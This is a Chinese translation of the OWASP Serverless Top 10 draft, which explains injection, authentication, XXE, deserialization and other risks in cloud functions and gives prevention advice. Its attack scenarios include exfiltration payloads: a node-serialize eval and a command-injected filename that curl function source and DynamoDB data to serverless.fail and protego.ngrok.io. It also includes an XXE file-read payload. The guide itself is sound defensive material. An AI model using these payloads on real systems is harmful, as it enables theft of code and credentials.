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发布说明 
 

重要提醒 
本报告为初版，旨在帮助读者初步了解无服务器应用的安全风险。同时，本报告作为

OWASP Serverless Top 10 项目组面向 OWASP 全球社区和行业公开征求意见的基础，从而根据行

业知识和公开的真实数据创建一个正式的 OWASP 无服务器应用安全风险 Top 10 报告。 

文章结构 
本报告基于 2017 年版的《OWASP Top 10》文档，对《OWASP Top 10》中的每个风险从以

下六个方面进行审视： 

 针对无服务器应用，可能出现的新攻击向量； 

 为什么无服务应用容易受到此类攻击以及如何攻击； 

 对于云账户的业务影响； 

 预防和减轻此类风险或攻击的最佳实践和建议； 

 攻击案例场景，展示可能的漏洞和利用手法； 

 综合考虑该风险的攻击向量、安全弱点、影响、识别风险和减轻风险的能力，该风险

在无服务器应用中是更高了、更低了还是相同？ 

征求意见 

 支持项目的相关漏洞数据； 

 对最终版 OWASP 无服务器应用 Top 10 项目中应列出内容的建议和投票，包括当前未列

入此列表、但建议添加的任何风险； 

 关于“如何预防”部分的建议； 

 任何应该引入参考的 OWASP 内部资料和外部资料。 

致谢 

 感谢赞助本报告的 Protego 实验室及其他所有贡献者。本报告的审稿人在“致谢”页面上提

及，同时提供漏洞数据以及其他提供帮助的组织和个人在本项目 OWASP 网站的“致谢”页面中

列出。 

 感谢本报告中文版本的贡献者。本报告中文版本的贡献人在“致谢”页面上提及。 

 

版权和许可 
本报告根据知识共享署名 - 相同方式共享 4.0（CCBY-NC-SA 4.0）国际许可（OWASP 项目

通用）。 
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欢迎来到无服务器应用安全的世界 
 

        采用无服务器技术时，我们不需要服务器来管理我们的应用。通过这样，我们将一些安全威

胁转移给了基础设施提供商，如：AWS、Azure 或 Google Cloud。无服务应用开发除了具有成

本、可扩展性等优势外，一些安全服务也可由我们的服务提供商提供，通常可以信任这些服务提

供商。无服务器服务（如：AWS Lambda、Azure Functions、Google Cloud Function 和 IBM 

Cloud Functions）仅在需要时执行代码，无需预配置或管理服务器。 

但是，即使这些应用在没有托管服务器的情况下运行，它们仍然需要执行代码。如果这些代

码以不安全的方式编写，应用可能容易受到传统应用级别的攻击，如：跨站点脚本 (XSS)、命令行

注入/SQL 注入、拒绝服务 (DoS)、失效的身份验证和授权等等。 

这是否意味着，无服务器应用也会受到我们在传统应用中遇到的相同攻击呢？ 在大多数情况

下，回答是肯定的，传统的攻击也存在于无服务器体系结构中。 

《OWASP Top 10》 是安全从业人员了解最常见应用攻击和风险的事实指南。其数据来源涵

盖了从数百个组织和 超十万个真实应用和 API 中收集的漏洞信息。Top 10 项目根据这些数据进行

选择和优先排序，结合对可利用性、可检测性和影响程度的一致性评估，从而提供了十类最关键

的 Web 应用安全风险。 

这份报告是无服务器安全世界的第一瞥，并将作为 OWASP 安全组织针对《OWASP Top 10》

有关无服务器项目的基线。该报告研究了攻击向量、安全弱点、成功攻击无服务器应用所产生业

务影响的差异，以及如何防止它们。正如我们所看到的，对攻击预防的方式与传统应用攻击的预

防方式有所不同。其他不在原《OWASP Top 10》、但可能与本报告相关的风险，在“其他需要考

虑的风险” 章节中列出。 
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A1：2017 注入 

 

攻击向量 
传统应用中用于注入的攻击向量通常指攻击者可以控制或操纵应用输入的任何位置。但在无

服务器应用中，攻击面会增加。 

由于无服务器函数可以被不同事件源触发，如：云存储事件（S3、Blobs 和其他云存储）、

流数据处理（如： AWS Kinesis）、数据库更改（如： DynamoDBs、CosmosDdb）、代码修改

（如： AWS CodeCommit）、通知（如： SMS、电子邮件、IoT）等，我们不应该把直接来自 API 

调用的输入作为唯一的攻击面。此外，我们不再控制源到资源间的这条线。如果函数被邮件或数

据库触发，没有地方可设置防火墙或任何其他控制措施来验证事件。 

安全弱点 
传统的 SQL/NoSQL 注入也是一样。OS 命令注入可能不会针对容器中的文件（如： 

/etc/host），但在容器中可以找到源代码和其他敏感信息。代码注入将允许攻击者使用提供商的 

API 扫描及交互账户中的其他服务。 

影响 
注入攻击的影响将取决于易受攻击的函数所具有的权限。如果函数已被分配一个角色，授予

它自由访问云存储的权限，那么注入的代码可以删除数据、上传损坏的数据等。如果函数被授予

访问数据库表的权限，则可以删除记录、插入记录等。允许创建用户和权限的角色最终会导致云

账户的接管。 

如何预防  

• 切勿信任、传递或做出任何关于输入及其有效性的假设； 

• 使用安全的 API，这可以完全避免使用解释器或提供参数化接口，或迁移以使用对象关系

映射工具 (ORM) ； 

• 尽可能使用正面的或“白名单”输入验证； 

• 如果可能，标识信任源和资源并将其列入白名单； 

• 对于任何遗留的动态查询，使用解释器的特定转义语法转义特殊字符 ； 

• 在系统中考虑所有事件类型和入口点 ； 

• 以最小特权运行函数来完成任务以减少攻击面；  

• 使用商业化的运行时防御方案来保护执行时的功能。 

攻击案例场景一 
以下函数代码可在各种代码中找到，使用 eval () 函数反序列化数据： 
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不受信任的输入未经任何验证就从触发器事件发送到反序列化函数。通过发送以下有效载

荷，攻击者可以窃取函数的源代码。只需创建一个新的 child_proccess，将当前目录中找到的源代

码压缩，用 base64 包装并将其发送到攻击者有权访问的任何服务器： 

_$$ND_FUNC$$_function(){require("child_process").exec("tar -pcvzf /tmp/source.tar.gz ./; 

b=`base64 --wrap=0 /tmp/source.tar.gz`; curl -X POST https://serverless.fail/ --data 



 
 

6 
 

$b",function(){});}() 

攻击者现在可以研究代码，并使用它来创建更多云原生攻击。如：使用提供商的 API 读取数

据库： 

_$$ND_FUNC$$_function(){var s=require("aws-sdk");var h=require("https"); var d=new 

s.DynamoDB.DocumentClient;d.scan({TableName:process.env.DYNAMODB_TABLE},function(e,a) 

{if(e);else{var t=Buffer.from(JSON.stringify(a)).toString();;var 

h.get(“https://serverless.fail?encodeURI(t)”),function(e){})}});}() 

 

攻击案例场景二 
从存储文件上传时触发函数。然后，该函数下载文件并处理它。 

 

但是，如果下载的文件没有以所需的文件扩展名（如：.jpg）结束，该函数很容易受到命令

注入攻击。 

为了利用它，攻击者合法使用应用，并上传两个文件，其中一个在其名称中包含命令注入语

法： 

chip.gif c.jpg;cd ..; cd var;cd task;f=`head -50 lambda_function.py|base64 --wrap=0`;curl 

protego.ngrok.io?l="$f" 
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为了利用这个漏洞，攻击者需要： 

• 定位现有文件（即，他自己上传的 chip.gif）； 

• 退出 /tmp 文件夹 ； 

• 进入 /var/task 文件夹（对象名称中不允许使用“/”）； 

• 读取 lambda_function.py 的前 50 行，并使用硬编码键管理 AWS 账户； 

• 将代码以 base64 封装； 

• 将其发送到攻击者持有的目标。 

由于 Lambda 执行，将向攻击者发送包含函数代码的请求： 

 



 
 

8 
 

 

 

风险仪表盘 
注入攻击总有很大风险。一个主要的好处是，无服务器 API 比传统的 HTTP 应用更难扫描，

对于攻击者而言这极大地提高了自动化攻击的门槛。 

但是，明确 99%的潜在恶意输入来自于传统服务器应用 API 调用，使我们能够把所有的警戒

放在那里，至少使得安全更加可预测。 

攻击面的增加, 是导致无服务器应用的主要安全问题。 
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A2：2017 失效的身份认证 

 

攻击向量 
与传统架构不同，无服务器函数在无状态计算容器中运行。这意味着没有一个由服务器管理

的大流程，而是数百个不同的函数单独运行。每个函数都有不同的目的，被不同的事件触发，并

且也不知道其他移动部件。 

攻击者将尝试查找被遗忘的资源，如：公有云存储或开发的 API。然而，面向外部的资源不

应成为唯一关切的问题。如果某个函数可被组织内部邮件触发，且攻击者可以发送欺骗性电子邮

件从而触发该函数，则他们可以执行内部功能，而无需进行任何身份验证。 

安全弱点 
失效的身份验证通常是身份和访问控制设计不佳的结果。在无服务器架构中，具有多个潜在

的入口点、服务、事件和触发器，并且没有连续的流程，事情可能会变得更加复杂。 

另一方面，使用基础设施提供的身份验证服务时，可降低蛮力破解和默认密码造成问题的可

能性。 

影响 
        不经身份验证而访问函数，会导致敏感数据泄漏，也可能破坏系统的业务逻辑和执行流程。 

如何预防 

• 不同类型的身份标识和访问控制要求不同类型的身份验证，取决于所需的访问类型。如果

可能，请使用基础设施提供的可用方案： 

— AWS Cognito 或单点登录； 

— Azure 活动目录 B2C 或 Azure 应用服务； 

— Google Firebase 身份验证或 Auth0。  

• 面向外部的资源应根据服务提供商的最佳实践进行身份验证和访问控制： 

— API Geteway 访问控制；  

— API 管理保障； 

— OpenAPI 身份验证。 

• 对于内部资源之间的服务身份验证，请使用已知的安全方法，如：联合身份（如： 

SAML，OAuth2、安全令牌），并确保遵循了最佳安全实践（如：加密通道、 密码和密钥

管理、客户端证书、OTA/2FA）。 

攻击案例场景 
        要实现高效开发，每次创建拉取请求时指定的经理都会收到一封包含相关信息的电子邮件。

经理可以回复邮件来批准或拒绝请求。这是通过 SES 服务完成的。该服务触发具有批准或关闭请

求权限的函数。但是，如果攻击者了解电子邮件地址以及所需的电子邮件格式，他们可能会破坏

开发流程，甚至通过直接向指定的邮件地址发送恶意电子邮件，在代码中嵌入后门。 

 

https://auth0.com/docs/integrations/google-cloud-platform
https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-control-access-to-api.html
https://www.red-gate.com/simple-talk/cloud/cloud-development/azure-api-management-part-2-safeguarding-your-api/
https://cloud.google.com/endpoints/docs/openapi/authentication-method
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风险仪表盘 
一方面，为无服务器应用使用完整而安全的身份验证方案，可能比简单地使用会话或任何其

他标记化模型更为复杂。 

另一方面，识别没有身份验证的内部触发函数对攻击者来说是一个真正的挑战，特别是因为

非 API 函数不直接提供响应。此外，在许多情况下，密码处理和会话是传统架构中最薄弱的环

节，而使用基础设施提供商的身份验证服务则可免去此环节。 
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A3：2017 敏感数据泄露 

 

攻击向量 
敏感数据泄露在无服务器架构中和其他任何架构一样受到高度关注。传统架构中使用的大多

数方法，如：窃取密钥、执行中间人 (MiTM) 攻击以及在静态或传输中窃取可读数据，仍然适用

于无服务器应用。但数据源可能不同。攻击者可以瞄准云存储（如：S3、Blod）和数据库表

（如：DynamoDBs、CosmosDdb），而不是从服务器窃取数据。 

此外，泄露的密钥可能会导致帐户中未经身份认证和未经授权的操作。有一些工具可以在 

GitHub 中查找泄漏的密钥，如：KeyNuker、Truffle Hog 甚至由 AWS Labs 提供的 git-secrets。并

且，一些函数的运行环境，除了 /tmp 目录之外，其他都是只读的。攻击者可以定位此文件夹查

找先前执行中的遗留结果（请参阅：Insecure Shared Space）。 

攻击者用来定位的密码、应用日志、主机和其他文件现在都属于基础设施，且较少被关注。

另一方面，可以找到函数的源代码以及环境变量。 

安全弱点 
以明文形式存储敏感数据，甚至在任何存储上使用弱加密技术是非常常见的，并且可能会在

无服务器应用中继续存在。 

此外，根据容器在执行后销毁的假设，将数据写入 /tmp 目录而使用完后不删除它，可能会

导致敏感数据泄漏，攻击者获得环境访问权限。 

影响 
在敏感数据暴露的情况下，影响没有变化。无论其架构如何，敏感个人信息 （PII）、健康记

录、凭证和信用卡等敏感数据都应受到保护。 

如何预防 

• 识别并分类敏感数据； 

• 将敏感数据的存储最小化，仅为绝对必要的； 

• 根据最佳实践保护静态和传输中的数据； 

• 仅将 HTTPS 终端节点用于 API； 

• 使用基础设施提供商为运行函数和传输数据（如：AWS/Cloud KMS、Azure 密钥保管库）

时的存储数据、加密信息和环境变量提供的密钥管理和加密服务（如：AWS 环境变量加

密、Azure 机密信息处理）。 

攻击案例场景 
一个包含管理不同子帐户的应用管理系统。为了与管理的应用通信，该函数包含了管理 AWS 

账户的硬编码密钥。 
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如果攻击者通过代码存储库访问运行时环境或任何其他手段获得对代码的访问，他们可以用

这个代码来尝试访问属于管理帐户的资源 (如：使用 AWS-CLI)，如：列出上述存储桶（即

protego-a6-archive-bucket）。 

 

但也可以尝试访问其他资源，这取决于被盗证书相关联的 IAM 角色。 
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风险仪表盘 
无论架构如何，敏感数据泄露都是一种风险。好事情是，服务提供商对安全性非常熟悉，作

为云服务的一部分，他们提供了一整套安全功能和服务，如：密钥管理、加密功能和安全协议。

这使得开发变得更容易，开发人员不需要知道哪种加密算法被认为是安全的，或者他们应该在哪

里存储密钥。 
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A4：2017 XML 外部实体 (XXE)  

 

 攻击向量  
对独立应用的成功利用通常会导致敏感数据提取、从服务器执行远程请求、扫描内部系统、

拒绝服务 (DoS) 等。 

在无服务器中，如果函数在内部虚拟专用网络 (VPC) 内运行，则可能无法执行远程请求 

(OOC)。扫描不太可能在该函数具有的几秒钟内生效，并且 DoS 攻击不那么令人关注，因为该函

数在指定的容器中运行，只会影响当前执行。 

安全弱点  
任何使用 XML 处理器都可能会导致应用打开 XXE 攻击。默认情况下，许多较旧的 XML 处理

器允许指定外部实体，即，在 XML 处理过程中取消引用和评估的 URI。 

影响 
在无服务器应用中成功的 XXE 攻击可能会导致函数代码和其他位于环境中的敏感文件（如：

环境变量、/tmp 下的文件）泄漏。 

如何预防 

• 尽可能使用服务提供商提供的 SDK； 

• 扫描供应链中已知的相关库漏洞； 

• 如果可能，通过 API 调用识别和测试 XXE 攻击； 

• 确保禁用实体解决方案。 

攻击案例场景 
  攻击漏洞和有效载荷与传统应用相同。一个可能的攻击变体，可以是从云存储上传事件触

发易受攻击的函数并解析包含 XML 内容的文件时进行攻击。 

 

   发送一个简单的 XXE 有效载荷导致该函数访问其源代码文件：  

<!DOCTYPE foo [<!ELEMENT foo ANY >  

<!ENTITY bar SYSTEM "file:///var/task/handler.py" >]>  
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<root>  

 <child>AAAAA</child>  

 <child>&bar;</child>  

 <child>CCCC</child>  

</root>  

  所以，虽然代码被打印到日志中， 但是要将代码泄露到帐户外，还需要出站（Out-of-

Bound）或代码执行 XXE 等技术，但在很多情况下这是不可被利用或被禁用（如在这种情况

下）： 

 

风险仪表盘 
常用的封闭环境（如：VPC、VNet）以及提供商提供的 SDK，不仅可以降低 XXE 攻击的可

能性，还可以降低 XXE 攻击的影响。但是，如果该函数确实使用 XML 解析，请确保它是安全

的。 
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A5：2017 失效的访问控制 

 

攻击向量  
无服务器应用可以包含数百个微服务。不同的功能、资源、服务和事件，全部组合在一起，

以创建完整的系统逻辑。无服务器体系结构的无状态性要求对每个资源进行细致的访问控制配

置，这可能会很繁琐。攻击者将以超特权功能为目标，以获取对账户中资源的未授权访问，而不

是控制环境。 

安全弱点  
在无服务器中，我们没有基础设施，因此删除对端点、服务器、网络和其他帐户（SSH、日

志等）的管理员/根访问权限不是问题。相反，授予函数访问不必要的资源或对资源过多的权限

是系统的一个潜在后门。 

由于缺少自动检测和应用开发人员测试，访问控制的缺陷很常见。尝试任何类型单一权限模

型的组织都容易失败。任何不遵循 “最低特权” 原则的函数都导致访问控制受损。 

影响 
 影响取决于受损的资源。简单的情况可能导致从云存储或数据库泄漏数据。更复杂的场景

中，受损的函数有权创建其他资源，可能会导致重大资金损失，甚至完全控制资源或帐户。 

如何预防 

• 仔细检查每个功能，并尝试遵循 “最小授权” 原则 （参见示例）； 

• 在交付之前检查每个功能，以识别过多的权限； 

• 建议自动执行此过程的权限配置功能； 

• 遵循供应商的最佳实践：AWS IAM Best Practices、Azure Identity Management Best 

Practices、Google Secure IAM 和 IBM IAM Security。 

攻击案例场景 
 一个旨在写入云存储的函数已分配以下 IAM 策略，该策略实际上授权该函数对账户中的任

何存储桶执行任何操作：  

 

 如果发现该功能易受攻击，攻击者可能会利用该功能执行未经授权的访问，包括： 

  

https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html
https://docs.microsoft.com/en-us/azure/security/azure-security-identity-management-best-practices
https://docs.microsoft.com/en-us/azure/security/azure-security-identity-management-best-practices
https://docs.microsoft.com/en-us/azure/security/azure-security-identity-management-best-practices
https://docs.microsoft.com/en-us/azure/security/azure-security-identity-management-best-practices
https://cloud.google.com/iam/docs/using-iam-securely
https://www.ibm.com/cloud/garage/architectures/securityArchitecture/security-identity-access-management
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• 对特定存储桶进行未经授权的操作，如：读取和/或删除其他用户订单或上传未经验

证的文件； 

• 删除账户中的其他存储，即使是在功能/应用范围之外； 

• 执行内部功能，如：执行带有恶意输入的函数。由任何帐户云存储上的事件触发； 

• 通过高容量上传大文件或消耗高带宽等耗费成本的操作导致拒绝钱包攻击 (DoW)。 

为防止在此情况下发生攻击，应为该函数分配以下 IAM 角色。这将授予函数所需的最小权

限，即上传特定存储（MYorderBucket）上的文件（PutoBject）： 

 
 

风险仪表盘  
为每个函数定义最小特权角色可能是一个痛苦的任务，但它也意味着机会。我们可以为每个

函数创建指定角色的事实可能意味着精细的访问控制，从而显著缩小应用上的攻击面。 

从影响角度来看，我们在传统应用上的风险可能更高，因为获得对服务器的完全控制可能意

味着游戏结束。在无服务器中，我们不拥有基础设施，但我们仍然可能会失去对宝贵和敏感数

据的控制。 

这可能是一个艰巨的任务，但为了更好的结果是值得的。风险绝对不高于独立应用，甚至可

能比我们以前的风险更低。 
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A6：2017 安全配置错误  

 

攻击向量  
 未使用的页面会替换为未链接的触发器，未受保护的文件和目录会更改为公共资源，如公

共存储桶。攻击者将尝试识别具有较长超时或低并发限制的错误配置函数，以导致拒绝服务 

(DoS)。此外，在代码或环境中包含密钥和令牌等未受保护机密信息的函数，最终可能导致敏感

信息泄漏。 

安全弱点  

 无服务器减少了修补环境的需要，因为我们不控制基础设施。然而在许多情况下，最大的

弱点是人为错误。机密信息可能会意外上传到 GitHub，把它放在公共存储桶上，甚至可以在函

数中使用硬编码。 

 此外，具有长超时配置的函数使攻击者有机会延长其漏洞利用时间，或者只是导致函数执

行成本增加。 

 另外，低并发限制的函数可能会导致 DoS 攻击，而具有高并发限制的函数可能会导致“拒绝

钱包”攻击（参考其他需要考虑的风险）。 

影响 
 配置错误可能导致敏感信息泄漏、资金损失、DoS 或在严重情况下未经授权访问云资源。 

如何预防 

• 扫描云帐户以识别公共资源。使用提供商提供的内置服务，如：提供安全检查的 AWS 

Trusted Advisor（有些是免费的）； 

• 查看云资源并验证它们是否强制实施访问控制； 

• 遵循供应商提供的最佳安全实践：How to secure AWS S3 Resources、Azure Storage 

security guide、Best Practices for Google Cloud Storage 和 IBM Data Security； 

• 检查具有未链接触发器的功能，查找在其策略中显示但未链接到函数的资源； 

• 将超时设置为函数所需的最小值； 

• 遵循供应商提供的功能配置建议：AWS configuring Lambda functions、Azure functions 

best practices、Google functions Tricks & Tips； 

• 使用自动工具检测无服务器应用中的安全配置错误。 

攻击案例场景 
 如果云存储配置错误，并且具有公开上传（写入对象）的访问权限，则允许用户使用自己

的帐户直接上传文件。如果上传事件触发内部功能，攻击者可以使用该功能来操纵应用执行流

程并绕过原始应用流。 

 如：通过使用自己的配置文件凭据运行 aws-cli，攻击者能够将随机（失效）文件上传到组

织的云存储中。 

https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/
https://aws.amazon.com/premiumsupport/trustedadvisor/best-practices/#security
https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/
https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide
https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide
https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide
https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide
https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide
https://cloud.google.com/storage/docs/best-practices#security
https://www.ibm.com/cloud/garage/architectures/securityArchitecture/security-for-data
https://docs.aws.amazon.com/lambda/latest/dg/resource-model.html
https://docs.aws.amazon.com/lambda/latest/dg/resource-model.html
https://docs.microsoft.com/en-us/azure/azure-functions/functions-best-practices
https://docs.microsoft.com/en-us/azure/azure-functions/functions-best-practices
https://cloud.google.com/functions/docs/bestpractices/tips
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风险仪表盘 
 在无服务器体系结构中，每个函数或资源都可以成为我们应用的最薄弱链接，但获得完全

控制的可能性较低（尽管存在）。可能降低影响（取决于角色），但入口点数量增加，表明无

服务器风险略高于传统体系结构。 
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A7：2017 跨站脚本 (XSS)  

 

攻击向量 
       跨站脚本（XSS）攻击针对浏览器，这意味着攻击的方法都大同小异。无服务器的不同之处在于可能来

自存储攻击的来源。传统 XSS 攻击的来源通常是数据库或反射输入。但是无服务器中，它们也可以来自不

同的来源，如：电子邮件、云存储、日志、物联网等。 

安全弱点 
如果没有适当的编码，当不受信任的输入数据最后在 DOM 中被解析运行，就会产生 XSS 漏

洞。对于 Web 服务，通常是从 JSON 中解析不受信任的数据。 

影响 
在用户的浏览器上执行代码的影响和我们熟知的是一样的。但是，默认情况下无服务器是

无状态的，这意味着不太可能出现用户会话 cookie 被伪造的情况。但也并不意味着敏感数据不

会像存储在浏览器本地或会话存储中的 API 密钥一样驻留在客户端中。此外，针对用户隐私

（如相机、扬声器、位置等）的攻击也没有变化。 

 如何预防 
跨站脚本是唯一一个原《OWASP Top 10》中建议受用的风险。所有不受信任的数据发送到

客户端之前必须要编码，同时，使用已知框架和头文件在无服务器中仍然有效。 

攻击案例场景 
        在支持使用代理时，应用通过 SNS 接收的任何电子邮件产生警报，并通过由 SNS 事件触发

的函数执行此操作，并将通知推送到操作员仪表板。 

 

        通过 MQTT-WebSocket 监听主题的客户端打印电子邮件而不执行任何操作编码或验证。这

导致由电子邮件主题发起的 XSS 攻击。 
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风险仪表盘 
        无服务器可能意味着更多攻击媒介。然而，其无状态架构导致影响减小。因此，无服务器

的总风险略低。 
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A8：2017 不安全的反序列化 

 

攻击向量 
Python 和 NodeJS 等动态语言，伴随着 JSON（一种序列化数据类型）的普及，使得无服务

器世界中的反序列化攻击更加常见。 

安全弱点 
       与可能的攻击向量一起，大多数函数使用第三方库来处理数据的序列化，可能会给我们的无

服务器应用带来这样的弱点。反序列化漏洞在 Python（如：pickle）和 JavaScript（如：node-

serialize）中很常见，但也可能在.NET 和 Java 中找到。 

影响 
像往常一样，业务影响取决于应用及其处理的数据。不安全的反序列化通常导致运行任意代

码，最终可能导致数据泄漏，在严重的情况下甚至会导致数据泄漏资源和帐户控制。 

如何预防 

• 通过执行严格的类型约束来验证来自任何不受信任的数据（如：云存储、数据库、电子

邮件、通知、API）的序列化对象； 

• 查看第三方库是否存在已知的反序列化漏洞； 

• 监控反序列化使用和异常以识别可能的攻击也是一种很好的做法。 

攻击案例场景 
应用正在使用 Telegram 聊天 Bot 代理提供有关电影的信息。要做到这一点，功能就是当接

收到文本消息时（通过 API GW）触发，获取输入并返回与之相关的数据使用开放电影数据库

（OMDb）API 请求的电影。但是，JsonMapper 类正在使用 JSON 反序列化，通过调用已知容易

受到攻击的 jackson.databind.ObjectMapper.readValue（）。 
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这允许任何未经验证的用户通过文本发送恶意内容而不执行输入验证。要利用它，攻击者需

要在文本中发送 Java 序列化对象将作为 Bot API 请求的一部分转换为 JSON。 

 

通过使用以下有效负载，攻击者可以窃取 AWS 环境数据，如：AWS_SESSION_TOKEN，

AWS_SECRET_ACCESS_KEY，AWS_SECURITY_TOKEN，可用于创建 AWS AssumeRole 和访问 AWS

资源。 
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        代码运行时，它将启动一个新进程，将环境凭据发送给攻击者。这最终可能导致手动调用函数，为其

提供任何类型的输入，这些输入可以完全接管云资源，具体取决于函数的权限。 
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风险仪表盘 
反序列化攻击被认为很难找到和利用。在无服务器中，它们都受限于时间和空间的函数，这

些函数攻击面更少。但是，导入易受攻击、用于处理数据的序列化和反序列化库是非常普遍的，

并且 JSON 类型使用的增加连同像 Python 和 JavaScript 这样的动态语言可能导致代码注入，最终

可能导致资源被攻击者接管的问题。 
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A9：2017 使用含有已知漏洞的组件 

 

攻击向量 
用于微服务的无服务器函数通常很小。为了能够执行所需的任务，他们使用许多依赖项和第

三方库。供应链引入的漏洞是目前最常见的风险之一，攻击者会将使用易受攻击库的代码作为目

标应用的入口点。此外，在我们所说的“中毒井（Poisoning the Well）”中，攻击者的目标是通过

上游攻击，在应用中获得更长期的持久性。待应用被中毒后，攻击者耐心地等待新版本进入云应

用。 

安全弱点 
这个问题非常普遍。组件密集型开发模式可能导致开发团队不了解他们在应用或 API 中使用

哪些组件，更不用说保持它们的最新状态。依赖扫描程序可以帮助检测，但确定可利用性需要额

外的努力。 

影响 
大多数已知漏洞都包含其完整规范，这有助于确定其业务影响及其他信息。虽然大多数已知

的漏洞影响很小，或者代码没有实际使用，但迄今为止一些大规模的漏洞爆发正是利用了组件中

的已知漏洞。 

如何预防 
        与网络安全的其他方面一样，保护无服务器应用需要在整个应用的开发生命周期和供应链

中采用多种策略。但是，由于易受攻击的依赖组件与传统应用中的风险相同，大多数最佳实践仍

然相关： 

• 在整个系统中持续监控依赖组件及其版本； 

• 仅通过安全链接从官方来源获取组件，首选签名包以减少包含修改后的恶意组件的可

能性； 

• 持续监控 CVE 和 NVD 等来源（如：https://nvd.nist.gov/vuln/）的漏洞，或者相关平

台的建议，如 NodeSecurity，PyUp，OWASP SafeNuGet 等； 

• 建议使用 OWASP Dependency Check、OWASP Dependency Track 或者商业化的解决

方案扫描依赖库的已知漏洞。 

 

攻击案例场景 
以下函数使用 url-parse 库。此 URL 字符串解析解决方案的易受攻击版本返回一个不正确的

主机名，这个问题导致多个缺陷，如 SSRF（服务器端请求伪造），打开重定向或绕过身份验证

协议，让用户可以开放利用。 

https://snyk.io/blog/owasp-top-10-breaches/
https://snyk.io/blog/owasp-top-10-breaches/
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        通过将恶意数据传递给 apiUrl 参数（如：http://google.com:80%5c%5cyahoo.com//）,该函数

将返回错误主机，并将用户重定向到恶意网站。 

风险仪表盘 
与操作系统修补程序不同，对这些第三方依赖项的安全更新并不总是容易的，可能需要更改

代码和测试。每个函数都会为无服务器应用带来一大堆新代码，这使（已知）漏洞存在的可能性

更高。 

 

http://google.com:80%5c%5cyahoo.com/


 
 

28 
 

A10：2017 不足的日志记录和监控 

 

攻击向量 
攻击者依靠监控和及时响应的不足来实现他们的目标而不被发现，这是一个众所周知的因

素。事实上，无服务器的审计比传统应用更加困难。在传统应用中，通常使用产品自身的日志记

录系统，而不是基础设施提供的日志记录系统，这只会使攻击者更容易。 

安全弱点 
不实施恰当的审计机制和仅依赖服务提供者的应用，这样的安全监控和审计手段可能是不足

够的。 

影响 
缺乏恰当审计机制所造成的影响本身是无法确定的。但是，太晚发现安全事件的影响可能是

重大的。攻击者可能已经成为应用的一部分，并感染了代码。值得一提的是，无服务器函数的短

暂性降低了攻击的粘性，这意味着即使应用被感染，如果攻击者不使用技术使攻击持续下去，它

可能会自行消失。 

如何预防 

• 利用服务提供商提供的监控工具（如：Azure Monitor、AWS CloudTrail）来识别和报告不

需要的行为（如：错误的凭证、对资源未经授权的访问、过度执行的函数、过长的执行时

间等）； 

• 部署审计和监控基础设施提供商未充分报告的数据的机制，以识别安全事件。 

攻击案例场景 
为了解决缺少边界的问题，无服务器应用开发了一个 lambda 防火墙，它在每个事件上触

发，并根据包含黑名单的文件来验证输入。 

 

如果输入被认为是安全的，防火墙将调用处理请求的指定函数。但是，如果输入被认为是恶

意的，应用将记录输入。另一个功能是读取 CloudWatch 事件，并在日志中发现恶意输入审计时

发出通知。由于输入包含恶意负载，审计函数将指定的行打印到 CloudWatch 中。 
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然而，由于 CloudWatch 日志的限制，如果攻击者发送一个大的输入（超过 1MB），恶意输

入将不会被检测到，该函数也不会向 CloudWatch 写入任何额外的日志，包括自动生成的 END 和

REPORT 日志。相反，日志只显示 START 事件条目。 

 

 

风险仪表盘 
一方面，基础设施提供了一些审计和监控工具，应用开发者可以很简单的使用它们来为自己

的利益服务。另一方面，服务提供商并没有覆盖所有内容，并且有很多限制。有些日志的接线容

量有限，如果正在审计的数据量很大，则很容易消耗掉所有的内存。另外还有些服务没有被监

控。 

当攻击者使用复杂的技术来掩盖他们的攻击时，仅仅依靠已经提供的信息将使我们措手不

及。此外，为无服务器应用部署审计和监控机制并不总是像写入指定的文件或表那样容易。在某

些情况下，当函数被指定只运行几毫秒时，它将需要额外的权限，甚至可能对性能造成意外影

响。 

 

  

https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/cloudwatch_limits_cwl.html
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其他需要考虑的风险 

 

《OWASP Top 10》是基于多年的数据和经验而积累形成的，而无服务器应用则还处于被市

场接受的早期阶段，因此，本项目可能还存在很多疑问。但是，在无服务器领域已经进行了一些

研究。所以，“OWASP 无服务器应用风险 Top 10 项目”还应该考虑以下风险。 

X: 拒绝服务（DoS） 
事实上，每个事件都是在一个单独环境中处理的，这意味着传统的 DoS 攻击与其当前形式不

那么相关。即使攻击者设法使容器不可靠，但它也只会影响进入此环境的事件，而不会影响下一

个即将发生的事件。 

但是，在某些情况下，攻击者可以跨账户完成 DoS： 

• 函数并发限制（如：触发函数，直到实现预定义的并发为止）； 

• 环境磁盘容量（如：填充/tmp 文件夹）； 

• 帐户读写容量（如：触发允许最大 DynamoDB 表扫描）。 

基础设施有助于防御此类攻击，甚至还提供了一些解决方案（如：AWS Shield）。因此，针

对此类攻击，无服务器的风险应该更低。 

 

X: 拒绝钱包（DoW） 
自动化的可伸缩性和可用性是使用无服务器的原因之一。这允许应用开发人员只为自己使用

的部分付费，并将扩展应用的责任转移到基础设施提供商。 

尽管如此，它需要成本投入但却不能提供良好的保护机制。攻击者可以根据自己的意愿触发

资源（如：外部 API、公共存储），并对组织造成资金损失。为了“防止”此类攻击，AWS 允许配

置调用或预算的限制。然而，如果攻击者可以达到该限制，他可能会对账户可用性进行 DoS 攻

击。 

没有实际的保护不会导致 DoS。在传统体系架构中，攻击并不像在无服务器体系架构中那样

简单。因此，该风险应该高。 
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X: 不安全的机密信息管理 
安全的管理我们所有的机密信息总是很难的。然而，机密信息通常可以在后台一个受保护的

地方进行管理。在无服务器中，它们在账户中跨资源共享。 

像密钥、API 令牌、存储凭证和其他敏感设置等这样的机密信息，现在更容易在函数和代码

之间共享，这可能会导致敏感数据泄露的风险难以缓解。 

此外，如果机密信息以环境变量的方式被存储在每个函数所部署的环境之中，而不是一个传

统的配置文件，那么如果受到破坏，就很难对所有函数进行更改。 

另一方面，与现场编译版本相比，在云原生应用上更改已获取的密钥更容易。因此，总体风险应与传

统应用中的风险相等。 

 

X: 不安全的共享空间 
